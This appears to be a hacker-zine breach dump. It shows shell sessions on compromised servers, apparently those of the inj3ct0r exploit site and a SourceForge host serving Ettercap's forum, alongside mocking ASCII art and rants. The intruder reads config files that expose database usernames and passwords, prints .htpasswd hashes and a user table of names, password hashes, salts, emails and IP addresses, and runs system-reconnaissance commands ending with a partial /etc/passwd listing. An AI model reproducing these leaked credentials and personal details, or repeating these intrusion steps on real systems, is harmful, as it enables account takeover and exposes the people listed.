drwxr-x--- 4 mazafaka inj3ct0r 4096 Oct 3 20:33 mazafaka drwxr-x--- 4 n3tw0rkTeRr0r15M inj3ct0r 4096 Aug 12 12:15 n3tw0rkTeRr0r15M drwxr-x--- 4 natasha natasha 4096 Oct 19 2009 natasha drwxr-x--- 4 nmusic nmusic 4096 Mar 2 2009 nmusic drwxr-x--- 4 pma pma 4096 May 13 16:28 pma drwxrwx--- 4 r0otech0inj3ct0rr00t0ro0t3r inj3ct0r 4096 Oct 20 22:56 r0otech0inj3ct0rr00t0ro0t3r drwxr-x--- 4 ra5ta ra5ta 4096 Jul 12 18:25 ra5ta drwxr-x--- 4 silentwarrior silentwarrior 4096 Oct 4 2009 silentwarrior drwxr-x--- 4 skyweb skyweb 4096 Apr 16 2010 skyweb drwxr-x--- 4 snt-nmu snt-nmu 4096 Feb 27 2009 snt-nmu drwxr-x--- 4 steelnews steelnews 4096 Sep 4 15:20 steelnews drwxr-x--- 4 sunsanych sunsanych 4096 Jun 13 14:07 sunsanych drwxr-x--- 4 sweethome sweethome 4096 Aug 16 01:21 sweethome drwxrwxrwx 2 root root 4096 Oct 24 16:12 temp drwxr-x--- 4 tiler tiler 4096 Oct 20 22:37 tiler drwxr-x--- 4 tmv-nmu tmv-nmu 4096 May 6 08:49 tmv-nmu drwxr-x--- 4 vakulenko vakulenko 4096 Feb 27 2009 vakulenko drwxr-x--- 4 vika vika 4096 Sep 8 19:15 vika drwxr-x--- 4 volosovets volosovets 4096 Nov 6 2007 volosovets drwxr-x--- 4 vonline vonline 4096 Sep 5 22:13 vonline drwxr-x--- 5 wapper wapper 4096 Jun 13 2009 wapper drwxr-x--- 4 wateam wateam 4096 Dec 27 2009 wateam drwxr-x--- 4 web-ghost web-ghost 4096 Jun 7 10:05 web-ghost drwxr-x--- 4 xanavi xanavi 4096 Jun 9 2009 xanavi drwxr-x--- 4 yslivka yslivka 4096 Apr 23 2010 yslivka $ cd r0otech0inj3ct0rr00t0ro0t3r $ ls -la total 8048 drwxrwx--- 4 r0otech0inj3ct0rr00t0ro0t3r inj3ct0r 4096 Oct 20 22:56 . drwxr-x--x 37 root root 4096 Oct 20 17:45 .. drwxr-xr-x 2 r0otech0inj3ct0rr00t0ro0t3r inj3ct0r 4096 Jan 22 2010 cgi-bin -rw-r--r-- 1 n3tw0rkTeRr0r15M inj3ct0r 8210510 Oct 24 19:29 error.log dr-xr-xr-x 9 r0otech0inj3ct0rr00t0ro0t3r inj3ct0r 4096 Oct 24 19:27 htdocs $ cd htdocs $ ls -la total 184 dr-xr-xr-x 9 r0otech0inj3ct0rr00t0ro0t3r inj3ct0r 4096 Oct 5 19:21 . drwxrwx--- 4 r0otech0inj3ct0rr00t0ro0t3r inj3ct0r 4096 Oct 20 22:56 .. -rw-r--r-- 1 r0otech0inj3ct0rr00t0ro0t3r inj3ct0r 1821 Oct 5 19:19 .htaccess -rw-r--r-- 1 r0otech0inj3ct0rr00t0ro0t3r inj3ct0r 85 Oct 1 14:17 BingSiteAuth.xml -rw-r--r-- 1 r0otech0inj3ct0rr00t0ro0t3r inj3ct0r 4047 Oct 1 14:17 author.php dr-xr-xr-x 2 r0otech0inj3ct0rr00t0ro0t3r inj3ct0r 4096 Sep 18 12:56 banner dr-xr-xr-x 2 r0otech0inj3ct0rr00t0ro0t3r inj3ct0r 4096 Sep 19 13:20 banner_black -rw-r--r-- 1 r0otech0inj3ct0rr00t0ro0t3r inj3ct0r 1445 Oct 1 14:17 browser.php -rw-r--r-- 1 r0otech0inj3ct0rr00t0ro0t3r inj3ct0r 2308 Oct 1 14:17 category.php -rw-r--r-- 1 r0otech0inj3ct0rr00t0ro0t3r inj3ct0r 604 Oct 1 14:17 config.php -rw-r--r-- 1 r0otech0inj3ct0rr00t0ro0t3r inj3ct0r 1598 Oct 1 14:17 date.php -rw-r--r-- 1 r0otech0inj3ct0rr00t0ro0t3r inj3ct0r 562 Oct 1 14:17 db.php -rw-r--r-- 1 r0otech0inj3ct0rr00t0ro0t3r inj3ct0r 2090 Oct 1 14:17 exploit.php -rw-r--r-- 1 r0otech0inj3ct0rr00t0ro0t3r inj3ct0r 1406 Oct 1 14:17 favicon.ico dr-xr-xr-x 2 r0otech0inj3ct0rr00t0ro0t3r inj3ct0r 4096 Sep 28 14:15 files -rw-r--r-- 1 r0otech0inj3ct0rr00t0ro0t3r inj3ct0r 53 Oct 1 14:17 googlee6e0c515ab2abd97.html -rw-r--r-- 1 r0otech0inj3ct0rr00t0ro0t3r inj3ct0r 83 Oct 1 14:17 hacker.php dr-xr-xr-x 2 r0otech0inj3ct0rr00t0ro0t3r inj3ct0r 4096 Sep 19 02:37 images -rw-r--r-- 1 r0otech0inj3ct0rr00t0ro0t3r inj3ct0r 1745 Oct 16 12:34 index.php -rw-r--r-- 1 r0otech0inj3ct0rr00t0ro0t3r inj3ct0r 2672 Oct 8 13:19 inj3ct0r.css -rw-r--r-- 1 r0otech0inj3ct0rr00t0ro0t3r inj3ct0r 9293 Oct 5 19:15 lib.php dr-xr-xr-x 2 r0otech0inj3ct0rr00t0ro0t3r inj3ct0r 4096 Sep 18 12:56 pages -rw-r--r-- 1 r0otech0inj3ct0rr00t0ro0t3r inj3ct0r 1008 Oct 1 14:17 pages.php -rw-r--r-- 1 r0otech0inj3ct0rr00t0ro0t3r inj3ct0r 2873 Oct 1 14:17 platform.php -rw-r--r-- 1 r0otech0inj3ct0rr00t0ro0t3r inj3ct0r 1894 Oct 1 14:17 related.php -rw-r--r-- 1 r0otech0inj3ct0rr00t0ro0t3r inj3ct0r 131 Oct 1 14:17 robots.txt -rw-r--r-- 1 r0otech0inj3ct0rr00t0ro0t3r inj3ct0r 1598 Oct 1 14:17 rss.php -rw-r--r-- 1 r0otech0inj3ct0rr00t0ro0t3r inj3ct0r 2203 Oct 5 19:10 search.php -rwxr--r-- 1 r0otech0inj3ct0rr00t0ro0t3r inj3ct0r 1739 Oct 1 14:17 sitemap.php -rw-r--r-- 1 r0otech0inj3ct0rr00t0ro0t3r inj3ct0r 48792 Oct 24 18:58 sitemap.xml.gz dr-xr-xr-x 2 r0otech0inj3ct0rr00t0ro0t3r inj3ct0r 4096 Sep 27 23:53 sploits dr-xr-xr-x 2 r0otech0inj3ct0rr00t0ro0t3r inj3ct0r 4096 Sep 18 12:56 templates -rw-r--r-- 1 r0otech0inj3ct0rr00t0ro0t3r inj3ct0r 261 Oct 1 14:17 y_key_6e34fe98df61c405.html -rw-r--r-- 1 r0otech0inj3ct0rr00t0ro0t3r inj3ct0r 0 Oct 1 14:17 yandex_76b91b15d528ba00.txt $ cat config.php <? GLOBAL_START = microtime(true); define("DB_HOST", "localhost"); define("DB_LOGIN", "9r0o7yIn6vD2k9a4"); define("DB_PASSWORD", "=!(_r0ot+e-c-h-0@inj3ct0r_)!="); define("DB_DATABASE", "9r0o7yIn6vD2k9a4"); define("DB_PREFIX", "inj3ct0r_v2_"); define("BAN_COUNT", 4); define("EXPLOITS_ON_MAIN", 8); define("EXPLOITS_ON_PAGE", 30); define("LINKS_PER_PAGE", 11); shellcodeCategories = array(1, 2, 3, 4, 5, 8, 9, 10, 11, 12, 14, 15, 16, 17, 18, 19, 21, 22, 23, 24, 27, 28, 29, 30, 32, 33); mainCategories = array( 34, 26, 20, 6, 7, "shellcode" => shellcodeCategories, 25 ); redCategory = 34; ?> $ cd .. $ cd n3tw0rkTeRr0r15M $ ls -la total 20 drwxr-x--- 4 n3tw0rkTeRr0r15M inj3ct0r 4096 Aug 12 12:15 . drwxr-x--x 37 root root 4096 Oct 20 17:45 .. -rw-r--r-- 1 n3tw0rkTeRr0r15M inj3ct0r 96 Aug 12 12:15 .htpasswd drwxr-xr-x 2 n3tw0rkTeRr0r15M inj3ct0r 4096 Jan 22 2010 cgi-bin drwxr-xr-x 19 n3tw0rkTeRr0r15M inj3ct0r 4096 Oct 4 00:16 htdocs $ cat .htpasswd inj3ct0r:1dAX/67F424a4D3Z.QWXTfZi0e2/0G/ inj3ct0r_operator:1cjVbCTaHGGgdG7e.ceNBXZ7ucjsOt1 $ cd htdocs $ ls -la total 2240 drwxr-xr-x 19 n3tw0rkTeRr0r15M inj3ct0r 4096 Oct 4 00:16 . drwxr-x--- 4 n3tw0rkTeRr0r15M inj3ct0r 4096 Aug 12 12:15 .. -rw-r--r-- 1 n3tw0rkTeRr0r15M inj3ct0r 178 Aug 24 01:59 .htaccess -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 24170 Jun 29 15:27 ajax.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 75837 Jun 29 15:27 album.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 17463 Jun 29 15:27 announcement.php dr-xr-xr-x 2 n3tw0rkTeRr0r15M inj3ct0r 4096 Jun 6 14:00 archive -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 18637 Jun 29 15:28 attachment.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 75654 Jun 29 15:28 calendar.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 43 Jun 6 14:02 clear.gif dr-xr-xr-x 4 n3tw0rkTeRr0r15M inj3ct0r 4096 Jun 27 19:45 clientscript -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 15264 Jun 29 15:28 converse.php dr-xr-xr-x 7 n3tw0rkTeRr0r15M inj3ct0r 4096 Jun 6 14:01 cpstyles -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 3645 Jun 29 15:28 cron.php dr-xr-xr-x 3 n3tw0rkTeRr0r15M inj3ct0r 4096 Jun 6 14:00 customavatars dr-xr-xr-x 3 n3tw0rkTeRr0r15M inj3ct0r 4096 Jun 6 14:01 customgroupicons dr-xr-xr-x 2 n3tw0rkTeRr0r15M inj3ct0r 4096 Jun 6 14:01 customprofilepics -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 48083 Jun 29 15:28 editpost.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 29811 Jun 29 15:29 external.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 10114 Jun 29 15:29 faq.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 36347 Jun 29 15:41 forumdisplay.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 40159 Jun 29 15:29 global.php dr-xr-xr-x 16 n3tw0rkTeRr0r15M inj3ct0r 4096 Jun 6 14:01 greenfox -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 138517 Jun 29 15:30 group.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 25247 Jun 29 15:29 group_inlinemod.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 10850 Jun 29 15:30 groupsubscription.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 9375 Jun 29 15:30 image.php dr-xr-xr-x 5 n3tw0rkTeRr0r15M inj3ct0r 4096 Jun 27 19:42 images dr-xr-xr-x 6 n3tw0rkTeRr0r15M inj3ct0r 12288 Jun 6 14:01 includes -rwxrwxrwx 1 n3tw0rkTeRr0r15M inj3ct0r 19444 Sep 26 12:27 index.php dr-xr-xr-x 6 n3tw0rkTeRr0r15M inj3ct0r 4096 Jun 22 16:28 infernoshout -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 11103 Jun 29 15:30 infernoshout.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 44256 Jun 29 15:30 infraction.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 183249 Jun 29 15:31 inlinemod.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 10670 Jun 29 15:31 joinrequests.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 11052 Jun 29 15:31 login.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 17392 Jun 29 15:31 member.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 16259 Jun 29 15:31 member_inlinemod.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 36229 Jun 29 15:31 memberlist.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 24194 Jun 29 15:31 misc.php dr-xr-xr-x 2 n3tw0rkTeRr0r15M inj3ct0r 4096 Jun 6 14:00 modcp -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 63652 Jun 29 15:32 moderation.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 7084 Jun 29 15:32 moderator.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 1889 Jun 29 15:32 myip.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 18804 Jun 29 15:32 newattachment.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 37429 Jun 29 15:33 newreply.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 19239 Jun 29 15:33 newthread.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 19932 Jun 29 15:33 online.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 8024 Jun 29 15:33 payment_gateway.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 12238 Jun 29 15:33 payments.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 8217 Jun 29 15:34 picture.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 22368 Jun 29 15:33 picture_inlinemod.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 25635 Jun 29 15:34 picturecomment.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 27740 Jun 29 15:34 poll.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 9840 Jun 29 15:34 posthistory.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 74696 Jun 29 15:34 postings.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 6921 Jun 29 15:34 printthread.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 71068 Jun 29 15:34 private.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 152656 Jun 29 15:35 profile.php dr-xr-xr-x 3 n3tw0rkTeRr0r15M inj3ct0r 4096 Jun 22 22:02 r00tpan3l123lol -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 40079 Jun 29 15:35 register.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 6015 Jun 29 15:35 report.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 14047 Jun 29 15:35 reputation.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 125045 Jun 29 15:35 search.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 21274 Jun 29 15:35 sendmessage.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 10337 Jun 29 15:36 showgroups.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 12716 Jun 29 15:36 showpost.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 73853 Jun 29 15:36 showthread.php dr-xr-xr-x 2 n3tw0rkTeRr0r15M inj3ct0r 4096 Jun 6 14:00 signaturepics dr-xr-xr-x 2 n3tw0rkTeRr0r15M inj3ct0r 4096 Jun 22 15:42 smilies -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 17014 Jun 29 15:36 spy.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 33204 Jun 29 15:36 subscription.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 13693 Jun 29 15:36 tags.php dr-xr-xr-x 16 n3tw0rkTeRr0r15M inj3ct0r 4096 Jul 22 12:03 tech_blue dr-xr-xr-x 16 n3tw0rkTeRr0r15M inj3ct0r 4096 Jul 19 22:04 tech_dark dr-xr-xr-x 16 n3tw0rkTeRr0r15M inj3ct0r 4096 Jul 19 22:04 tech_white -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 9020 Jun 29 15:36 threadrate.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 12743 Jun 29 15:36 threadtag.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 34836 Jun 29 15:37 usercp.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 19423 Jun 29 15:37 usernote.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 29903 Jun 29 15:37 validator.php -r-xr-xr-x 1 n3tw0rkTeRr0r15M inj3ct0r 27705 Jun 29 15:37 visitormessage.php $ cat includes/config.php <?php /*======================================================================*\ || #################################################################### || || # vBulletin 3.8.5 || # ---------------------------------------------------------------- # || || # All PHP code in this file is Â©2000-2010 Jelsoft Enterprises Ltd. # || || # This file may not be redistributed in whole or significant part. # || || # ---------------- VBULLETIN IS NOT FREE SOFTWARE ---------------- # || || # http://www.vbulletin.com | http://www.vbulletin.com/license.html # || || #################################################################### || \*======================================================================*/ /*-------------------------------------------------------*\ | ****** NOTE REGARDING THE VARIABLES IN THIS FILE ****** | +---------------------------------------------------------+ | If you get any errors while attempting to connect to | | MySQL, you will need to email your webhost because we | | cannot tell you the correct values for the variables | | in this file. | \*-------------------------------------------------------*/ // ****** DATABASE TYPE ****** // This is the type of the database server on which your vBulletin database will be located. // Valid options are mysql and mysqli, for slave support add _slave. Try to use mysqli if you are using PHP 5 and MySQL 4.1+ // for slave options just append _slave to your preferred database type. config['Database']['dbtype'] = 'mysql'; // ****** DATABASE NAME ****** // This is the name of the database where your vBulletin will be located. // This must be created by your webhost. config['Database']['dbname'] = 'n3tw0rkTeRr0r15M'; // ****** TABLE PREFIX ****** // Prefix that your vBulletin tables have in the database. config['Database']['tableprefix'] = ''; // ****** TECHNICAL EMAIL ADDRESS ****** // If any database errors occur, they will be emailed to the address specified here. // Leave this blank to not send any emails when there is a database error. config['Database']['technicalemail'] = 'dbmaster@example.com'; // ****** FORCE EMPTY SQL MODE ****** // New versions of MySQL (4.1+) have introduced some behaviors that are // incompatible with vBulletin. Setting this value to "true" disables those // behaviors. You only need to modify this value if vBulletin recommends it. config['Database']['force_sql_mode'] = false; // ****** MASTER DATABASE SERVER NAME AND PORT ****** // This is the hostname or IP address and port of the database server. // If you are unsure of what to put here, leave the default values. config['MasterServer']['servername'] = 'localhost'; config['MasterServer']['port'] = 3306; // ****** MASTER DATABASE USERNAME & PASSWORD ****** // This is the username and password you use to access MySQL. // These must be obtained through your webhost. config['MasterServer']['username'] = 'n3tw0rkTeRr0r15M'; config['MasterServer']['password'] = '+)(_3xpl0!t3R_goG)teror15M(_}'; // ****** MASTER DATABASE PERSISTENT CONNECTIONS ****** // This option allows you to turn persistent connections to MySQL on or off. // The difference in performance is negligible for all but the largest boards. // If you are unsure what this should be, leave it off. (0 = off; 1 = on) config['MasterServer']['usepconnect'] = 0; // ****** SLAVE DATABASE CONFIGURATION ****** // If you have multiple database backends, this is the information for your slave // server. If you are not 100% sure you need to fill in this information, // do not change any of the values here. config['SlaveServer']['servername'] = ''; config['SlaveServer']['port'] = 3306; config['SlaveServer']['username'] = ''; config['SlaveServer']['password'] = ''; config['SlaveServer']['usepconnect'] = 0; // ****** PATH TO ADMIN & MODERATOR CONTROL PANELS ****** // This setting allows you to change the name of the folders that the admin and // moderator control panels reside in. You may wish to do this for security purposes. // Please note that if you change the name of the directory here, you will still need // to manually change the name of the directory on the server. config['Misc']['admincpdir'] = 'r00tpan3l123lol'; config['Misc']['modcpdir'] = 'modcp'; // Prefix that all vBulletin cookies will have // Keep this short and only use numbers and letters, i.e. 1-9 and a-Z config['Misc']['cookieprefix'] = 'bb'; // ******** FULL PATH TO FORUMS DIRECTORY ****** // On a few systems it may be necessary to input the full path to your forums directory // for vBulletin to function normally. You can ignore this setting unless vBulletin // tells you to fill this in. Do not include a trailing slash! // Example Unix: // config['Misc']['forumpath'] = '/home/users/public_html/forums'; // Example Win32: // config['Misc']['forumpath'] = 'c:\program files\apache group\apache\htdocs\vb3'; config['Misc']['forumpath'] = ''; // ****** COOKIE SECURITY HASH ****** // This option allows you to encode cookie. // You may use any latin and/or any other alphanumeric symbols. // Leave this blank to use the default value. // Note: if you change this all users will be logout. config['Misc']['cookie_security_hash'] = ''; // ****** USERS WITH ADMIN LOG VIEWING PERMISSIONS ****** // The users specified here will be allowed to view the admin log in the control panel. // Users must be specified by *ID number* here. To obtain a user's ID number, // view their profile via the control panel. If this is a new installation, leave // the first user created will have a user ID of 1. Seperate each userid with a comma. config['SpecialUsers']['canviewadminlog'] = '1,237'; // ****** USERS WITH ADMIN LOG PRUNING PERMISSIONS ****** // The users specified here will be allowed to remove ("prune") entries from the admin // log. See the above entry for more information on the format. config['SpecialUsers']['canpruneadminlog'] = '1'; // ****** USERS WITH QUERY RUNNING PERMISSIONS ****** // The users specified here will be allowed to run queries from the control panel. // See the above entries for more information on the format. // Please note that the ability to run queries is quite powerful. You may wish // to remove all user IDs from this list for security reasons. config['SpecialUsers']['canrunqueries'] = ''; // ****** UNDELETABLE / UNALTERABLE USERS ****** // The users specified here will not be deletable or alterable from the control panel by any users. // To specify more than one user, separate userids with commas. config['SpecialUsers']['undeletableusers'] = '1'; // ****** SUPER ADMINISTRATORS ****** // The users specified below will have permission to access the administrator permissions // page, which controls the permissions of other administrators config['SpecialUsers']['superadministrators'] = '1'; // ****** DATASTORE CACHE CONFIGURATION ***** // Here you can configure different methods for caching datastore items. // vB_Datastore_Filecache - to use includes/datastore/datastore_cache.php // vB_Datastore_APC - to use APC // vB_Datastore_XCache - to use XCache // vB_Datastore_Memcached - to use a Memcache server, more configuration below // config['Datastore']['class'] = 'vB_Datastore_Filecache'; // ******** DATASTORE PREFIX ****** // If you are using a PHP Caching system (APC, XCache, eAccelerator) with more // than one set of forums installed on your host, you *may* need to use a prefix // so that they do not try to use the same variable within the cache. // This works in a similar manner to the database table prefix. // config['Datastore']['prefix'] = ''; // It is also necessary to specify the hostname or IP address and the port the server is listening on /* config['Datastore']['class'] = 'vB_Datastore_Memcached'; i = 0; // First Server i++; config['Misc']['memcacheserver'][i] = '127.0.0.1'; config['Misc']['memcacheport'][i] = 11211; config['Misc']['memcachepersistent'][i] = true; config['Misc']['memcacheweight'][i] = 1; config['Misc']['memcachetimeout'][i] = 1; config['Misc']['memcacheretry_interval'][i] = 15; */ // ****** The following options are only needed in special cases ****** // ****** MySQLI OPTIONS ***** // When using MySQL 4.1+, MySQLi should be used to connect to the database. // If you need to set the default connection charset because your database // is using a charset other than latin1, you can set the charset here. // If you don't set the charset to be the same as your database, you // may receive collation errors. Ignore this setting unless you // are sure you need to use it. // config['Mysqli']['charset'] = 'utf8'; // Optionally, PHP can be instructed to set connection parameters by reading from the // file named in 'ini_file'. Please use a full path to the file. // Example: // config['Mysqli']['ini_file'] = 'c:\program files\MySQL\MySQL Server 4.1\my.ini'; config['Mysqli']['ini_file'] = ''; // Image Processing Options // Images that exceed either dimension below will not be resized by vBulletin. If you need to resize larger images, alter these settings. config['Misc']['maxwidth'] = 2592; config['Misc']['maxheight'] = 1944; /*======================================================================*\ || #################################################################### || # CVS: RCSfile - Revision: 28757 || #################################################################### \*======================================================================*/ /; ;\ __ \\____// /{_\_/ `'\____ \___ (o) (o } I AM AN INJ3CT0R _____________________________/ :--' / CHICK, MOO ,-,'`@@@@@@@@ @@@@@@ \_ `__\ ;:( @@@@@@@@@ @@@ \___(o'o) :: ) @@@@ @@@@@@ ,'@@( `====' :: : @@@@@: @@@@ `@@@: :: \ @@@@@: @@@@@@@) ( '@@@' ;; /\ /`, @@@@@@@@@\ :@@@@@) ::/ ) {_----------------: :~`,~~; ;;'`; : ) : / `; ; ;;;; : : ; : ; ; : `'`' / : : : : : : )_ \__; ";" :_ ; \_\ `,',' :__\ \ * `,'* \ \ : \ * 8`;'* * `^' \ :/ `^' `-^-' \v/ : \/ BA Sid3^effects:661567a4c0a71a50fdcf4b2c550775d4:}uP>ob0J%H?EB_&*9z(q7:v%w)j,yx:shell_c99@yahoo.com:122.164.235.10: L0rd CrusAd3r:2685fd80293b5b6cf1a2d2f488b2db72:{pmYzcy%QfgFy0ftJ?_>"F|L42vtcK:lord.v5111@gmail.com:59.92.22.151: Inj3ct0r:170aebb9d6ba17f411e90b931421f703:.Q:eI}"c";[e`?'o6N/al|}RE;-mNU:admin@admin.com:: eidelweiss:cd0c84191f189462696ec6de04a5455b:KNU@c;qRh;j$Qc9Vp+r=:$<Pi/rr]T:g1xsystem@windowslive.com:125.167.199.36: Sn!pEr.S!Te:c5e3f6e791415b187d3d4e2b3d925f77:H?OV^L*.MS@Q03f9uQ_g]D|@vTE0_v:sniper-site@hotmail.com:188.52.23.241:1111117 SONiC:4470e1dc2c49e82f9fca1a3dfc390b1a:4gJ4eT\Rj|L}O/%6(@,&05#:ofzi}#:sonicdefence@gmail.com:115.242.246.84: Napst3r:d73666e5df3d0eb8a714d5a82178e5d7:#}bjIPUanj,[v2yiQVg~oZhv&<g;`k:n4pst3rr@ymail.com:94.183.216.10:3124741 Th3 RDX:b76091a46d7539eacf00cb149f12f963:0;a?QrF0KSHPX"t_q\?.[N&(@mK|K[:th3rdx@gmail.com:78.107.237.16: agix:81c472aa99efd24319045f02d5f16be6:e_AcAV4sgTlR6rPEk)-&aexwXLqGpo:flogaultier@hotmail.com:82.228.79.212:laconte gunslinger_:1b804cc6bf8cbd19c7276d694cf538a6:N_}fYU<sB676{aGTg([1*`p<$yztnG:yudha.gunslinger@gmail.com:182.0.91.89: indoushka:3d277315b290351a56ec18e4aee1a988:VZIKmamSDtKwy&KnJU)uT`viut}c,$:indoushka@hotmail.com:41.107.107.238:123456789 SeeMe:f3dfe545ae017c7fcb8c7df9884255f1:s~.$o798QL'>}mFtE1ZHRD(LW/Uvhj:jimsalimg@msn.com:41.252.59.225: KnocKout:64f26f1e22bba61290603bc8f514a56d:`gXoY<&>G~m02Z)EMJK{*oRa\>8aAr:mmertocan@gmail.com:88.242.249.163: anT!-Tr0J4n:b6f1b2d02236cb9bc983482c5789999c:`dFJd>n&KjhTtynf#L05jSQ%h'=jsl:rnoom_h@yahoo.com:41.191.28.15: ,_._._._._._._._|____________________________________________________ |_|_|_|_|_|_|_|_|___________________________________________________/ ~ ettercap ~ ! You would think that the authors of Ettercap, one of the most popular whitehat pentesting tools, would know the basics of security. Apparently they don't, or they just don't give a shit about what happens to their users. So, why is their website so insecure? Ettercap's message board is hosted at Sourceforge, so they share a server with thousands of other customers. Every single customer is able to execute commands and access the other project directories. Pretty stupid, eh? You only need to find one hole in one hosted site and you can access ALL the project databases. Of course that isn't ALoR's fault, it's Sourceforge's fault. Regardless, people who care about security and data integrity wouldn't use such a shitty provider, would they? To be fair, the Ettercap project is dead. Most of the admins have been inactive for a few years now, but that is no excuse for such a security mess. Especially since the server was compromised some five years ago. Just look at the process list, horrible. Even the worst perl bots (scax) get access. If such a poorly written bot can own this box, everyone can. Some good advice to all other people/projects who are using Sourceforge: Move. There are enough good alternatives. Yes, I am talking to you Vim, get the fuck out of there. And to all Ettercap users: arp poisoning is *not* hacking. If you want to achieve something real, learn the fundamentals and not how to use a GUI. Don't sniff the passwords of your friends and call yourself a pentester (looking at you firesheep). _ _ | | | | ___| |_| |_ ___ _ __ ___ _ __ __ _ __ / _ \ __| __/ _ \ '__/ __| '__|/ \ | '_ \ | __/ |_| || __/ | | (__| | / /\ \ | |_) | \___|\__|\__\___|_| \___|_| /_/ \_\| .__/ | | |_| Baa. I flood SID's I'm a Hacker!! Baa. Baa. Baa. I sit at starbucks I sniff packets | I'm a Hacker!! I'm a Hacker!! | Baa. Baa.. | / \ __ _ | / YOUR ALL FUCKING \ .-.' `; `-._ __ _ __ _ SHEEP. \ (_, .-:' `; `-._.-.:' `; `-._ ,'o"( "HACKE(_, (_, ) (__,-' ,'o"( "HACKE,'o"( "HACKER" )> STOP BEING SHEEP! ( (__,-' (__,-' ) `-'._.--._( ( ) FUCKING INNOVATE! ||| |||`-'._.--._.-' `-'._.--._.-' ||| ||| ||| ||| $ uname -a Linux sfp-web-9.v30.ch3.sourceforge.com 2.6.18-194.11.4.el5 #1 SMP Tue Sep 21 05:04:09 EDT 2010 x86_64 x86_64 x86_64 GNU/Linux $ id uid=48(apache) gid=48(apache) groups=48(apache),302(amqp) $ cat /etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin nscd:x:28:28:NSCD Daemon:/:/sbin/nologin vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin exim:x:93:93::/var/spool/exim:/sbin/nologin rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin rpcuser:x:29:29:RPC Service 